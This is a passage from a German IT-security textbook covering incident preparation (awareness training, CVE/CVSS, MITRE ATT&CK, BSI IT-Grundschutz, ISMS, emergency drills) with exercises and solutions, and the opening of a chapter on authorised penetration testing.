© Der/die Autor(en), exklusiv lizenziert an Springer-Verlag GmbH, DE, ein Teil von Springer Nature 2023 U. Kebschull, Computer Hacking, https://doi.org/10.1007/978-3-662-67030-9_9
171
172
9 Vorbereitungen für den Ernstfall
sein müsste. Ein guter Kompromiss könnte darin bestehen, diese Geräte in getrennten Subnetzen mit höheren Sicherheitslevel (Zero Trust) und eingeschränkten Rechten zu betreiben. Ein ganzheitliches IT-Sicherheitskonzept besteht aus operativen und organisatorischen Komponenten. Während die Leitung des organisatorischen Leitungsteams i. d. R. an die Rolle des CISO (Chief Information Security Officer) geknüpft ist, werden die operativen Teile der IT-Sicherheit mit einem CERT (Computer Emergency & Response Team) verortet. Zu einer optimalen Vorbereitung auf einen Ernstfall gehören: • • • • • • •
Awareness-Schulungen aller Mitarbeitenden Umsetzung der BSI-Empfehlungen zum IT Grundschutz Regelmäßige Schwachstellenscans aller von außen erreichbaren Systeme Die Einführung eines Information Security Management Systems (ISMS) Regelmäßige Sicherheitsaudits und Penetration-Tests Erstellung eines Incident-Response-Prozesses Regelmäßige IT-Sicherheitsübungen
Diese einzelnen Punkte werden in den folgenden Abschnitten etwas näher untersucht.
9.1
Awareness-Schulungen
Die Schaffung eines Problembewusstseins für IT-Sicherheit bei allen Anwendern von ITSystemen ist eine Grundvoraussetzung zur Erreichung eines hohen IT-Sicherheitsniveaus. Das Sicherheitsniveau kann nur so hoch sein, wie das Sicherheitsbewusstseins der Menschen, welche die IT benutzen. Ein Administrator kann sich noch so sehr um die Pflege von Firewallregeln in seinem Zuständigkeitsbereich bemühen und Patches für seine Server einspielen, wenn ein Nutzer auf eine E-Mail mit Schadsoftware klickt, die eine Zero-DayLücke ausnutzt oder einen Server als Man-in-the-Middle installiert, dürfte in den allermeisten Fällen die erste Hürde für einen erfolgreichen Angriff überwunden sein. Deshalb ist es wichtig, die IT-Nutzenden nicht als Risikofaktor, sondern als essenziellen Baustein des IT-Sicherheitskonzepts zu betrachten. Bei vielen forensischen Untersuchungen wird festgestellt, dass einige wenige oder gar ein einzelner kompromittierter Account ausreicht, um den Cyberkriminellen die Möglichkeit zu geben, sich im Netz auszubreiten und eine umfangreiche Attacke vorzubereiten. Dabei sind es vergleichsweise einfache Dinge, die helfen, Mitarbeitende für IT-Sicherheit zu sensibilisieren: 1. Nicht alle Mitarbeitende haben dasselbe IT-Grundverständnis: Neben IT-Spezialisten gibt es Nutzer, die wenig über den Aufbau und die Funktionsweise des Internets oder eines Rechners mitbringen. Schulungs- und Awareness-Maßnahmen müssen für alle Mitarbeitenden geeignet sein um diese weder unter- noch überfordern. Oft kann man anhand
9.1
Awareness-Schulungen
173
konkreter Beispiele klar machen, welchen Gefahren eine Einrichtung von Phishing über Ransomware oder CEO-Frauds ausgesetzt ist und wie groß der Schaden sein kann. 2. Das IT-Sicherheitspersonal muss so geschult werden, dass sie den IT-Nutzern das Gefühl geben, dass eine Anfrage an das CERT keinen Aufwand verursacht, sondern höchst erwünscht ist. Es muss allen Mitarbeitenden klar sein, dass sie bei ihren Vorgesetzten jeder Zeit nachfragen sollen, wenn ihnen ein Vorgang in irgendeiner Weise suspekt ist, auch wenn die Ursache am Ende harmlos ist. 3. Awareness-Maßnahmen sind besonders effektiv, wenn sie anhand von echten Beispielen erfahren werden. Echte Phishing-E-Mails, Phishing-Simulationen oder ein Quiz zur ITSicherheit mit Gewinnchance helfen, Mitarbeitende zur Teilnahme an entsprechenden Awareness-Maßnahmen zu animieren. Beim Social Engineering nutzen Angreifer menschliche Eigenschaften wie Hilfsbereitschaft, Vertrauen, Angst oder Respekt vor Vorgesetzten aus, um Mitarbeitende dazu zu bewegen, vertrauliche Informationen preiszugeben, Geld zu überweisen, Sicherheitsvorkehrungen auszuhebeln oder Schadsoftware auszuführen. Das ist im Grunde nichts IT-spezifisches, denn die Mechanismen werden seit je her für Betrugsdelikte verwendet. Typische Beispiele sind angebliche „Systemadministratoren“, die sich per Telefon melden, sich mit scheinbarem Insiderwissen authentifizieren und vorgeben, dass sie das Passwort eines Mitarbeitenden benötigen, um einen Systemfehler zu beheben. Gerade in sozialen Medien gelingt es Angreifern immer wieder ein Vertrauensverhältnis aufzubauen, das ein Opfer dazu verleitet, bestimmte Dinge wie der Besuch einer Webseite mit Schadsoftware (vgl. Cross-Site-Scripting, Abschn. 4.2.8) aufzurufen, um Schadsoftware zu installieren. Um das Risiko für solche Angriffe zu minimieren, sollten einige Regeln eingehalten werden: 1. Gehen Sie verantwortungsvoll mit sozialen Netzwerken um. Bei Facebook, LinkedIn, Xing, WhatsApp und Co. werden immer wieder Informationen bereitgestellt, die dafür sorgen, dass Cyberkriminelle ein leichtes Spiel haben. Überlegen Sie sich genau, welche Informationen Sie dort preisgeben. 2. Geben Sie privaten Chat-Rooms oder in beruflichen Netzwerken niemals vertrauliche Informationen preis. Sie wissen nie, wer diese Informationen sonst noch mitlesen kann. 3. Teilen Sie Zugangsdaten oder andere persönliche Informationen niemals per E-Mail oder Telefon mit. Seriöse Firmen würden ihre Kunden niemals per E-Mail oder Telefon zur Eingabe von vertraulichen Informationen auffordern. 4. Besondere Vorsicht gilt bei E-Mails von unbekannten Absendern! Vor jedem Öffnen einer E-Mail sollte geprüft werden, ob der Absender bekannt, der Betreff sinnvoll ist und ob von diesem Absender ein Anhang erwartet wird. Fragen Sie beim leichtesten Zweifel beim Absender telefonisch nach, bevor Sie auf den Anhang klicken.
174
9 Vorbereitungen für den Ernstfall
Die Einhaltung dieser einfachen Maßnahmen verringern die Risiken bereits erheblich. Das BSI [1] veröffentlicht auf seinen Seiten immer wieder Tipps zur sicheren Nutzung des Internets, die sowohl bei der privaten als auch der dienstlichen Nutzung hilfreich sind.
9.2
Common Vulnerabilities and Exposures (CVE) und das Common Vulnerability Scoring System (CVSS)
Neu entdeckte Sicherheitslücken müssen so schnell wie möglich geschlossen werden. Damit das möglich wird, ist es notwendig, die Informationen über Schwachstellen an einer Stelle zusammenzutragen und in einer einheitlichen Weise aufzubereiten. Dieser Aufgabe hat sich die MITRE Corporation gestellt, die aus dem Massachusetts Institute of Technology (MIT) entstanden ist. Die MITRE Corporation ist eine Non-Profit-Organisation, die sich unter anderem der Verbesserung der Cybersicherheit widmet1 . Mit dem Referenziersystem Common Vulnerability Scoring System (CVE) wurde eine einheitliches System zur Katalogisierung von Sicherheitslücken entwickelt. Bevor es CVE gab, wurden erkannte Sicherheitslücken von verschiedenen Sicherheitsgruppen oder Herstellern in unterschiedlichen Datenbanken publiziert. Das brachte eine Reihe von Problemen mit sich: • Die verschiedenen Gruppen haben unterschiedliche Gefahren erkannt und über unterschiedliche Datenbanken publik gemacht. Administratoren mussten deshalb bei verschiedenen Quellen nachforschen, um die aktuelle Sicherheitslage zu bestimmen. • In manchen Fällen wurden dieselben Angriffsvektoren unterschiedlich benannt und konnten deshalb nur sehr schwer zugeordnet werden. • Die Gefährlichkeit eines neue entdeckten Angriffsvektors wurde von den verschiedenen Sicherheitsgruppen unterschiedlich bewertet. Genau hier setzten CVE und CVSS an: Über das Referenzsystem Common Vulnerabilities and Exposures (CVE) wurden einheitliche Namenskonventionen für Sicherheitslücken und Schwachstellen eingeführt. Das damit verbundene Common Vulnerability Scoring System (CVSS) ist ein Industriestandard zur Bewertung des Schweregrades von möglichen oder tatsächlichen Sicherheitslücken in Servern und Clients, Mobil- und IoT-Geräte. Alle CVEMeldungen werden auf der Webseite https://cve.org/ [2] gesammelt. CVE unterscheidet zwischen Vulnerabilities (Sicherheitslücken) und Exposures (Gefährdungen): Sicherheitslücken, die meist über Programmierfehler im Code verursacht werden, ermöglichen den direkten Zugang zu einem System. Gefährdungen hingegen ermöglichen es den Cyberkriminellen Daten auszuleiten oder Rechte auszuweiten (Privilege Escalation). 1 Neben dem Referenziersystem CVE betreibt die MITRE Corporation noch die Wissensdatenbank
ATT&CK.
9.2 Common Vulnerabilities and Exposures (CVE) und das Common …
175
Die CVE-Namenskonvention für erkannte Schwachstellen ist das Kürzel CVE, gefolgt von der vierstelligen Jahreszahl in der die Schwachstelle entdeckt wurde. Daran angehängt wird eine fortlaufende Nummer mit mindestens vier Stellen, wobei Zahlen mit weniger als vier Stellen mit führenden Nullen aufgefüllt werden2 . Beispiele für CVE-Kürzel, die der Namenskonvention entsprechen sind: CVE-2001-0679 oder CVE-2022-23858. Auf diese Weise erhält jede gefundene Schwachstelle eine eindeutige Kennung. Verschiedene Betreiber von Schwachstellendatenbanken können Informationen über die Lücke oder die dazugehörenden Abwehrmaßnahmen anhand dieser eindeutigen Kennung zuordnen und untereinander austauschen. Zu jedem CVE-Eintrag gehören verschiedene Informationen wie der CVSS-Score, die Art der Lücke, eine Liste der Hard- oder Softwareprodukte, die von der Lücke betroffen sind, ein Hyperlink auf weitere Informationen und, je nach Verfügbarkeit, entsprechende Metasploit-Module, die sich der Lücke bedienen. Der CVSS-Score ist ein Wert, der die Gefährlichkeit einer Lücke mithilfe einer einzelnen Zahl beschreiben soll. Dieser Wert ergibt sich über ein allgemeines Bewertungssystem, das Common Vulnerability Scoring System (CVSS), bei dem die Gefährlichkeit anhand eines Fragenkatalogs bestimmt wird. Die Sicherheitslücken werden für diese Berechnung von einer Expertengruppe nach verschiedenen Kriterien analysiert und bezüglich der davon ausgehenden Gefahr eingeschätzt. Der Score wird über ein Punktesystem von 0,0 bis 10,0 angegeben. Seit 2015 mit der Einführung der Version CVSSv3.0 wird zusätzlich folgende Einteilung in Klassen verwendet: • • • • •
keine Verwundbarkeit bei einem Wert von 0,0 niedrige Verwundbarkeit bei einem Wert von 0,1 bis 3,9 mittlere Verwundbarkeit bei einem Wert von 4,0 bis 6,9 hohe Verwundbarkeit bei einem Wert von 7,0 bis 8,9 kritische Verwundbarkeit bei einem Wert von 9,0 bis 10,0
Werden in einer Einrichtung mehrere Lücken mit unterschiedlichen CVSS-Scores entdeckt, kann mithilfe des CVSS eine Priorisierung der Gegenmaßnahmen vorgenommen werden. Unter https://www.cve.org/ kann nach aktuellen Meldungen gesucht oder alle aktuellen Meldungen herunterladen werden. Über https://www.cvedetails.com/ wird eine Webseite erreicht, mit der gezielt nach Schwachstellen gesucht werden kann. Da die Berechnung des CVSS nach öffentlich bekannten Kriterien und Regeln erfolgt, sind die ermittelten Werte transparent und nachvollziehbar. CVE lässt sich einsetzen, um Schwachstellen in den eigenen Systemen zu suchen: Diverse Anbieter von Sicherheitswerkzeugen verwenden die Schwachstellendatenbank, um entsprechende Suchen in Netzwerken oder auf einzelnen Systemen durchzuführen. 2 Als CVE im Jahr 1999 eingeführt wurde, dachte man dass die maximale Anzahl von 9999 Schwach-
stellen in einem Jahr völlig ausreichen würde. Bereits 2017 wurde die Schwelle von 10.000 Schwachstellen erstmals überschritten, sodass die Namenskonvention angepasst werden musste
176
9 Vorbereitungen für den Ernstfall
Auch mit Open-Source-Werkzeugen wie Greenbone/OpenVAS (s. Abschn. 10.6.2) lässt sich schon eine ganze Menge erreichen. Weitere, zum Teil kommerzielle Werkzeuge, sind unter dem folgenden Hyperlink aufgelistet: https://owasp.org/www-community/Vulnerability_ Scanning_Tools. Diese Liste wird vom Open Web Application Security Project (OWASP) bereitgestellt. Zur Vorbereitung auf einen Ernstfall oder besser um einen solchen zu verhindern, ist es notwendig, diese Sicherheitsscans regelmäßig durchzuführen und die dabei gefunden Schwachstellen so schnell wie möglich zu beseitigen. Insbesondere dann wenn die gefundenen Schwachstellen in die Kategorie der hohen oder kritischen Verwundbarkeit fallen.
9.3
Die Wissensdatenbank MITRE ATT&CK
Neben den CVE betreibt die MITRE Corporation noch die Wissensdatenbank MITRE ATT&CK, bei der zahlreiche bekannte Angriffe katalogisiert sind. Das Akronym ATT&CK steht dabei für Adversarial Tactics, Techniques & Common Knowledge. Bei dieser Sammlung von Angriffen, die in sog. Matrizen gegliedert sind, werden die Angriffswege der Cyberkriminellen, deren Taktik und Abwehrmöglichkeiten zusammengetragen. Diese Wissensbasis wurde erstmals 2013 veröffentlicht und wird seither in einem zweijährigen Abstand aktualisiert. Sie kann unter https://attack.mitre.org/ [3] aufgerufen werden. ATT&CK besteht aus drei Teilen: • Enterprise für Angriffe, die auf Unternehmen angewendet wurden; • Mobile für Angriffe auf mobile Endgeräte; • ICS (Industrial Control Systems) für Angriffe auf industrielle Steuerungsanlagen. Die Angriffe sind wesentlich feingranularer unterteilt als die Schritte der Cyber Kill Chain (s. Kap. 4). Dabei ergänzen sich die beiden Sichtweisen: Während bei der Lockheed Martin Cyber Kill Chain ein geordnetes Vorgehen der Cyberkriminellen mit übergeordneten Zielen beschreibt, handelt es sich bei ATT&CK eher um eine ungeordnete Sammlung aller Taktiken, die nicht notwendigerweise alle bei einem Angriff und nicht in unbedingt dieser Reihenfolge angewendet werden. Es handelt sich daher eher um eine Taxonomie, bei der auf allen Ebenen verschiedene Angriffsmöglichkeiten aufgelistet werden. Jeder Eintrag besteht aus den veröffentlichen Angriffsbeispielen, den passenden Abwehrmaßnahmen und Indikatoren mit denen diese Schritte detektiert werden. Eine Liste von Quellen runden jeden Eintrag ab. Für die Vorbereitung auf einen möglichen Cyberangriff hilft diese Wissensbasis, um sich mit den Methoden der Cyberkriminellen vertraut zu machen. Administratoren haben die Möglichkeit, Schwachstellen in ihren eigenen Netzen und Systemen zu erkennen und durch Umsetzung der empfohlenen Maßnahmen eine geeignete Gegenwehr aufzubauen.
9.4 BSI IT-Grundschutz
9.4
177
BSI IT-Grundschutz
Der BSI IT-Grundschutz ist eine Sammlung von Standards und Katalogen, die das Bundesamt für Sicherheit in der Informationstechnik (BSI) kostenlos bereitstellt. Das Ziel besteht darin, Einrichtungen einen einfachen Zugang zur Verbesserung ihres IT-Sicherheitsniveaus zu ermöglichen. Die BSI-Standards beschreiben die Grundlagen um einen IT-Sicherheitsprozess in einer Einrichtung zu etablieren. Die Kataloge, die 2017 in einem einzelnen Dokument BSI-Grundschutz-Kompendium zusammengefasst wurden, enthalten die konkreten Maßnahmen und Forderungen, um dieses Sicherheitsniveau zu erreichen. Das ITGrundschutz-Kompendium wird jährlich überarbeitet und im Februar eines Jahres zum Download bereitgestellt. Die Version für das Jahr 2022 findet sich hier [4]. Das BSI hat sich zur Aufgabe gemacht, den normalen Schutzbedarf von IT-Systemen zu beschreiben und anhand von Best-Practice-Beispielen deren Umsetzung zu empfehlen. Für Einrichtungen mit erhöhtem Schutzbedarf sind diese Beispiele und Maßnahmen unter Umständen nicht ausreichend, sodass hier individuelle Sicherheitskonzepte und Analysen notwendig sind. Manche Einrichtungen streben eine Zertifizierung ihrer IT nach dem internationalen ISO/IEC 27001 (s. Abschn. 10.8) an. Dabei hilft das BSI-GrundschutzKompendium, ein Sicherheitsmanagement aufzubauen, das diesem Standard entspricht. Der BSI Grundschutz umfasst vier BSI-Standards mit verschiedenen Empfehlungen zu Methoden, Prozessen und Verfahren zu unterschiedlichen Aspekten der Informationssicherheit: • Der BSI-Standard 200-1 definiert allgemeine Anforderungen an ein „Managementsystem für IT-Sicherheit“. Die Umsetzung dieses Standards sorgt dafür, dass der ITSicherheitsprozess geplant, geprüft, überwacht und laufend verbessert wird. • Der BSI-Standard 200-2 beschreibt die „IT-Grundschutz-Methodik“, mit der die Managementsysteme für die IT-Sicherheit ausgebaut werden können. Er schlägt dabei drei unterschiedliche Vorgehensweisen zur Umsetzung vor: Basis-, Standard- und KernAbsicherung. • Der BSI-Standard 200-3 umfasst alle Arbeitsschritte zusammen, die das Risiko betreffen, das mit dem Betrieb von IT-Systemen zusammenhängt. Es ist ein Leitfaden zur Durchführung einer Risikoanalyse und richtet sich an Einrichtungen, die die Standards 200-1 oder 200-2 bereits umgesetzt haben und direkt eine Risikoanalyse anschließen wollen. • Der BSI-Standard 100-4 beschreibt ein Notfallmanagement für den Schadensfall. Derzeit ist eine Nachfolgeversion BSI-Standard 200-4 mit dem Titel „Business Continuity Management System (BCMS)“ in Arbeit. Ein BCMS umfasst Methoden, Verfahren und Regeln zur Sicherstellung der Fortführung kritischer Geschäftsprozesse im Not- und Schadensfall, also insbesondere bei oberflächenreichen Cyberattacken. Der BSI-Standard 200-4 wird derzeit noch überarbeitet und steht deshalb derzeit nur als „Community Draft 2.0“ zur Verfügung. Alle Dokumente stehen über die Webseiten des BSI zum Download bereit [5].
178
9.5
9 Vorbereitungen für den Ernstfall
Information-Security-Management-System (ISMS)
Der Begriff ISMS ist auch in der deutschen Übersetzung „Managementsystem für die Informationssicherheit“ ein wenig irreführend, denn viele verstehen unter dem Begriff „System“ eine Software oder eine Datenbank. Vielmehr handelt es sich bei ISMS jedoch um einen Katalog von Regeln, Verfahren, Maßnahmen und Werkzeugen, die eingehalten werden müssen, um den IT-Sicherheitsprozess in einer Einrichtung zu steuern und damit die Risiken durch den Einsatz der IT beherrschbar zu machen. Der Standard zur Einführung eines ISMS ist der BSI IT-Grundschutz, dessen Ziel genau dessen Einführung ist. Obwohl das BSI versucht, die entsprechenden Anleitungen möglichst allgemeinverständlich zu erstellen, scheuen sich viele Einrichtungen, den Weg allein auf der Basis der veröffentlichten Dokumente zu gehen. Ein weiteres, vereinfachtes Modell zur Einführung eines ISMS wurde vom ITSicherheitsclusters e. V. [6] entwickelt und veröffentlicht. Es wird CISIS12 genannt, was für Compliance InformationsSicherheitsmanagementSystem in 12 Schritten steht 3 . Das IT-Sicherheitscluster e. V. ist ein Zusammenschluss von Unternehmen der IT-Wirtschaft mit Anwendern, Forschungs- und Weiterbildungseinrichtungen sowie Juristen mit dem Ziel, die IT-Sicherheit in Deutschland zu erhöhen. Die zwölf Schritte zur Einführung eines ISMS nach CISIS12 sind: 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12.
Leitlinie erstellen Beschäftigte sensibilisieren Informationssicherheitsteam aufbauen IT-Dokumentationsstruktur festlegen IT-Servicemanagementprozess einführen Kritische Applikationen identifizieren IT-Struktur analysieren Sicherheitsmaßnahmen modellieren Ist-Soll vergleichen Umsetzung planen und umsetzen Durchführung eines internen Audits (optional) Revision
Anhand dieser 12 Schritte kann man erkennen, dass es sich beim ISMS um die Einführung eines umfassenden Prozesses zur Verbesserung der IT-Sicherheit in einer Einrichtung und weniger um die Einführung eines Werkzeugs handelt.
3 CISIS12 entspricht der Version 3 des Vorgängers ISIS12.
9.6 IT-Sicherheitstests und Notfallübungen
9.6
179
IT-Sicherheitstests und Notfallübungen
Auch wenn alle vorbereitenden Maßnahmen getroffen wurden, liefern erst Tests und ITSicherheitsübungen die Gewissheit, dass im Notfall alle betroffenen Akteure ihre Rollen und Aufgaben kennen und die Notfallpläne wie erwartet funktionieren. Solche Tests und Übungen können sehr aufwendig und teuer werden, weshalb sehr gut geplant werden muss, welche Art der Notfallübungen für welche Zwecke sinnvoll sind. Bei Notfallübungen wird zwischen theoretischen Verfahren, bei denen in regelmäßigen Abständen Pläne und Dokumente kritisch geprüft und gegebenenfalls überarbeitet werden sowie der Krisenstab die Zusammenarbeit übt, und Praxistests unterschieden, bei denen technische Tests der Server, Simulationen bestimmter Angriffsszenarien oder Ernstfallübungen durchgeführt werden. In einem Übungshandbuch, Übungsplan und einem Übungsdrehbuch werden die Ziele und der geplante Ablauf festgelegt. Auch die für die Notfallübung benötigten Ressourcen sowie Abbruchkriterien müssen in der Vorbereitungsphase festgelegt werden. Regelmäßige Notfallübungen schärfen auch das Bewusstsein der IT-Nutzenden, sodass diese auch im regulären Betrieb aufmerksamer auf eventuelle Störungen achten. Aus diesem Grund sollten auch Mitarbeiter in diese Übungen einbezogen werden, die nicht direkt ITVerantwortliche sind. Der Ablauf solcher Tests und Übungen erfolgt nach dem folgenden Schema: 1. Vorbereitung der Notfallübung 2. Durchführung der Notfallübung 3. Auswertung und daraus abgeleiteten Anpassungen Bei der Vorbereitung der IT-Notfallübung unterscheidet man theoretische Verfahren mit Reviews von Plänen und Dokumenten und Übungen des Krisenstabs, sowie Praxistests mit Simulationen und Ernstfallübungen anhand realistischer Szenarien. In jedem Fall müssen alle Tests und Übungen dokumentiert werden. Zu diesen Dokumentationen gehören für die Vorbereitung das Übungsdrehbuch, ein Übungshandbuch oder Übungsplan und ein Konzept, das die Übungsziele und die für den jeweiligen Test Beteiligte mit ihren Rollen anhand konkreter Szenarien beschreibt. Während der Durchführung der Notfallübung muss ein Protokoll geführt werden, das alle Entscheidungen und Maßnahmen chronologisch dokumentiert. Nur anhand dieses Protokolls ist es möglich, Entscheidungen nachzuvollziehen und aus eventuellen Fehlern positive Rückschlüsse zu ziehen. Weitere Informationen zum Thema Notfallmanagement finden sich im BSI-Webkurs „Notfallmanagement“ in [7].
180
9 Vorbereitungen für den Ernstfall
9.7
Aufgaben & Lösungen zu diesem Kapitel
9.7.1
Aufgaben
9.1 Welche Sicherheitsmaßnahmen gegen Social Engineering kennen Sie? 9.2 Wofür steht die Abkürzung „CVE“? 1. 2. 3. 4.
Computer Visualization Environment Cyber Vulnerability Examples Common Vulnerabilities and Exposures Cyberthreat Vault Examples
9.3 Sie erhalten eine Warnmeldung über eine entdeckte Sicherheitslücke in einem Browser, den Sie einsetzen mit dem CVSS von 10.0. Wie verhalten Sie sich? 9.4 Wozu dient MITRE ATT&CK? 9.5 Aus welchen Standards besteht der BSI-Grundschutz? 9.6 Was versteht man unter einem Information-Security-Management-System (ISMS)? 1. 2. 3. 4.
Eine Software zum Management der IT-Sicherheit in einer Einrichtung. Verfahren und Regeln um die IT-Sicherheit dauerhaft in einer Einrichtung zu managen. Risikobewertung und Minimierung in einer Einrichtung Leitlinien und Ordnungen zur IT-Sicherheit.
9.7 Aus welchen Phasen besteht eine IT-Notfallübung? 9.8 (P) gehen Sie auf die Webseite https://www.cvedetails.com und beantworten sie folgende Fragen: 1. Wie lautet die CVE-Nummer für die Log4J-Schwachstelle mit dem höchsten CVSSScore? 2. Wie hoch ist der höchste CVSS-Score für die Log4J-Schwachstelle? 3. Wie viele Produkte werden gelistet, die von dieser Schwachstelle betroffen sind? 9.9 (P) Betrachten Sie die „Microsoft SharePoint Server Remote Code Execution Vulnerability (CVE-2022-21837)“ mit der folgenden Beschreibung:
9.7 Aufgaben & Lösungen zu diesem Kapitel
181
Die Sicherheitslücke ermöglicht einem entfernten Angreifer die Ausführung von beliebigem Code auf dem Zielsystem. Die Sicherheitsanfälligkeit besteht aufgrund einer unsachgemäßen Eingabevalidierung in Microsoft SharePoint Server. Ein entfernter authentifizierter Angreifer kann eine speziell gestaltete Anfrage senden und beliebigen Code auf dem Zielsystem ausführen. Die erfolgreiche Ausnutzung dieser Schwachstelle kann zu einer vollständigen Kompromittierung des anfälligen Systems führen. Auf der Webseite https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator gibt es einen CVSS-Rechner zur Berechnung des CVSS-Scores. Berechnen Sie den Base-Score mithilfe der Angaben aus dieser Beschreibung.
9.7.2
Lösungen
9.1 Folgende Maßnahmen schützen gegen Angriffe über Social Engineering: • • • •
Datensparsamkeit in sozialen Netzwerken Keine vertraulichen Informationen in privaten Chatrooms Zugangsdaten niemals per E-Mail mitteilen Besondere Vorsicht bei E-Mails mit unbekannten Absendern
9.2 Antwort 3. 9.8 Ein CVSS von 10.0 ist die höchste Gefahrenstufe. Zunächst müssten Sie prüfen, ob der Hersteller einen geeigneten Patch bereitstellt. Wenn nicht, sollte der Browser vorübergehend nicht mehr genutzt werden. 9.4 Auf der zugehörigen Webseite werden zahlreiche aktuelle Angriffsmethoden dargestellt, die Cyberkriminelle für verschiedene Angriffsschritte nutzen. 9.5 Der BSI-Grundschutz besteht aus: • • • •
BSI-Standard 200-1 (Managementsystem für IT-Sicherheit) BSI-Standard 200-2 (IT-Grundschutz-Methodik) BSI-Standard 200-3 (Risikomanagement) BSI-Standard 100-4 (Notfallmanagement)
9.6 Antwort 2. 9.7 Die Phasen einer Notfallübung sind: 1. Vorbereitung der Notfallübung
182
9 Vorbereitungen für den Ernstfall
2. Durchführung der Notfallübung 3. Auswertung und daraus abgeleiteten Anpassungen 9.8 Für Log4J sind Informationen (Stand 1/2023) 1. Die CVE-Nummer lautet: CVE-2021-44228 2. Der höchste CVSS-Score ist 9,3 3. Auf der Webseite CVE-Details werden 355 betroffene Produkte gelistet (Stand 12/22). 9.9 Aus der Beschreibung ergeben sich folgende Kenngrößen: • • • • • • • •
Attack Vector: Network Attack Complexity: Low Privileges Required: Low User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: High Availability Impact: Low
Mit diesen Angaben ergibt sich mit dem CVSS-Rechner ein Base-Score von 8,3.
Literatur 1. BSI: Basistipps zur IT-Sicherheit. https://www.bsi.bund.de/DE/Themen/Verbraucherinnenund-Verbraucher/Informationen-und-Empfehlungen/Cyber-Sicherheitsempfehlungen/cybersicherheitsempfehlungen_node.html (2022). Aufgerufen am 23. Jun. 2022 2. MITRE: CVE Program Mission. https://www.cve.org/. Aufgerufen am 20.11.2022 3. MITRE: ATT&CK Matrix for Enterprise. Aufgerufen am 20.11.2022 4. BSI: IT-Grundschutz-Kompendium – Werkzeug für Informationssicherheit. https://www. bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/Standards-und-Zertifizierung/ITGrundschutz/IT-Grundschutz-Kompendium/it-grundschutz-kompendium_node.html (2022). Aufgerufen am 23. Jun. 2022 5. BSI: BSI-Standards. https://www.bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/ Standards-und-Zertifizierung/IT-Grundschutz/BSI-Standards/bsi-standards_node.html (2022). Aufgerufen am 20.11.2022 6. CISIS: Home – CISIS12. https://cisis12.de/. Aufgerufen am 23. Jun. 2022 7. BSI:Online-Kurs Notfallmanagement. https://www.bsi.bund.de/DE/Themen/Unternehmenund-Organisationen/Standards-und-Zertifizierung/IT-Grundschutz/ZertifizierteInformationssicherheit/IT-Grundschutzschulung/Online-Kurs-Notfallmanagement/online-kursnotfallmanagement_node.html (2022). Aufgerufen am 31. Jul. 2022.
Penetration Tests
10
Mit Penetrationstest1 , Penetration-Test oder kurz Pentest(ing), bezeichnet man einen ITSicherheitstest einzelner Clientrechner, Server, Netzwerke oder Softwaresysteme. Pentesting wird häufig auch als Ethical Hacking bezeichnet, weil in der Regel dieselben Werkzeuge zum Einsatz kommen, die auch Hacker verwenden. Pentester verfügen über dieselben Fähigkeiten wie Hacker, setzen ihre Kenntnisse aber zum Wohle und nicht zum Schaden des Auftraggebers ein. Gefundene Schwachstellen werden also nicht ausgenutzt, sondern dem Administrator eines Rechners oder einer Netzwerkkomponente in Form eines ausführlichen Berichts mitgeteilt, damit dieser die Lücke schließen kann. Werden die empfohlen Maßnahmen zur Beseitigung der gefundenen Sicherheitslücken durchgeführt, verbessert sich die Sicherheit der entsprechenden Systeme. Ein Penetrationstest deckt also vorhandene Lücken auf, schließt sie jedoch nicht. Das Schließen entdeckter Lücken muss der Administrator eines Systems oder einer Software übernehmen. Demnach ist ein Penetration-Test auch keine Garantie, dass ein System 100 % sicher ist: Ein Pentester entdeckt immer nur die Lücken, nach denen er auch sucht. Dabei werden Werkzeuge verwendet, die helfen, solche Angriffsmuster abzubilden, die sich aus den zahlreichen entdeckten und forensisch untersuchten Angriffen abgeleitet werden können. Ein Pentest orientiert sich immer auch an dem vorhandenen Gefahrenpotenzial eines Systems: Eine Lücke in einem weltweit erreichbaren Server hat sicher ein höheres Gefahrenpotenzial als ein Clientrechner, der hinter einer Firewall oder einem NAT vor einem direkten Zugriff aus dem Internet geschützt ist.
1 Im Folgenden werden die gekürzten Begriffe Pentest und Pentester verwendet
© Der/die Autor(en), exklusiv lizenziert an Springer-Verlag GmbH, DE, ein Teil von Springer Nature 2023 U. Kebschull, Computer Hacking, https://doi.org/10.1007/978-3-662-67030-9_10
183
184
10.1
10 Penetration Tests
Auftragsklärung für einen Pentest
Hier sei noch einmal auf die rechtlichen Aspekte eines Pentests verwiesen[13]: Vor der Durchführung von Pentests muss dem Pentester das schriftliche Einverständnis der zu testenden Einrichtung vorliegen. Ohne eine solche Vereinbarung sind Pentests illegal und können eine Straftat darstellen. Der Test darf sich bei Vorliegen einer Einverständniserklärung auch nur auf Objekte beziehen, die unter der tatsächlichen Hoheit der zu testenden Organisation stehen. Es dürfen keine IT-Systeme oder Netze von Dritten getestet werden. Der Auftraggeber hat vor dem Penetrationstest eindeutig zu klären, für welche Komponenten dies zutrifft. Diverse in Anspruch genommene IT-Dienstleistungen, unterschiedliche Cloud-Services und verschiedene Vertragsverhältnisse zur Nutzung von Hard- und Software können eine solche Klärung erschweren. Das schriftliche Einverständnis sollte demnach zumindest die folgenden Punkte klären: • Welche Systeme (IP-Bereiche) dürfen gescannt werden? • Wann dürfen diese Systeme gescannt werden (Zeitraum und Tageszeiten)? • Soll eine gefundene Sicherheitslücke genutzt werden, um die Angreifbarkeit nachzuweisen? • Wie und an wen sollen gefundene Sicherheitslücken gemeldet werden? • Wie sollen die Ergebnisse des Pentests dokumentiert werden? Diese Berechtigungen sowie die Hoheit der Systeme müssen vor Beginn eines Pentests validiert werden, um sicherzustellen, dass alle Vereinbarungen rechtlich einwandfrei sind. Insbesondere bei Cloud-Systemen, Unterorganisationen, die Rechnersysteme im Auftrag betreiben oder sich IP-Bereiche teilen, sind diese Fragen juristisch nicht immer einfach zu beantworten.
10.2
Arten von Pentests und Vulnerability-Scans
Neben Pentests gibt es auch automatische Vulnerability-Scans oder Schwachstellenscans2 . Diese werden meist unter Anwendung vorbereiteter Scripte durchgeführt und auf erreichbare Systeme in einem Netzwerksegment angewendet. In der Regel werden mit diesen Vulnerability-Scans bekannte Sicherheitslücken, Konfigurationsfehler und fehlende Patches identifiziert. Bei einem Pentest oder Schwachstellenscan können, entsprechend der Geräteklassen, unterschiedliche Schwerpunkte gesetzt werden:
2 Oft wird ein Vulnerability-Scan auch fälschlicherweise als Pentest bezeichnet
10.2
